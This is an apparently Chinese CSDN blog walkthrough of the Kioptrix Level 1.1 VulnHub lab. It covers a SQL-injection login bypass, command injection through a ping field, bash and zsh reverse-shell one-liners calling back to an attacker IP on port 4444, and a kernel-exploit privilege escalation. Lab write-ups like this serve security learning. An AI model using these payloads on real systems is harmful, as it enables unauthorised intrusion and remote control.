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 vulnhub 专栏收录该内容
9 篇文章 0 订阅
订阅专栏

下载地址

https://www.vulnhub.com/entry/kioptrix-level-11-2,23

信息搜集

扫描IP地址

https://blog.csdn.net/xingjinhao123
https://blog.csdn.net/xingjinhao123/category_11586571.html
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/xingjinhao123/article/details/122399415
https://blog.csdn.net/xingjinhao123/category_11586571.html


扫描端口

80端口

万能密码登录



用户名：admin’or ‘1’ = '1 --+ 密码随便写

登录成功

命令执行漏洞

输入127.0.0.1 | ls 成功执行命令

反弹shell



使用bash反弹shell
bash -c 'exec bash -i &>/dev/tcp/192.168.1.140/4444 <&1'
使用zsh反弹shell
zsh -c 'zmodload zsh/net/tcp && ztcp 192.168.1.140 4444 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'

kali 开启监听

浏览器输入：127.0.0.1 | bash -c ‘exec bash -i &>/dev/tcp/192.168.1.140/4444 <&1’

成功拿到shell

提权

查看内核版本

搜索exp

将exp上传到靶机



编译exp，执行exp，成功提权到root

本文所有用到的工具都可以关注微信公众号“网络安全学习爱好者”联系公众客服免费领取！
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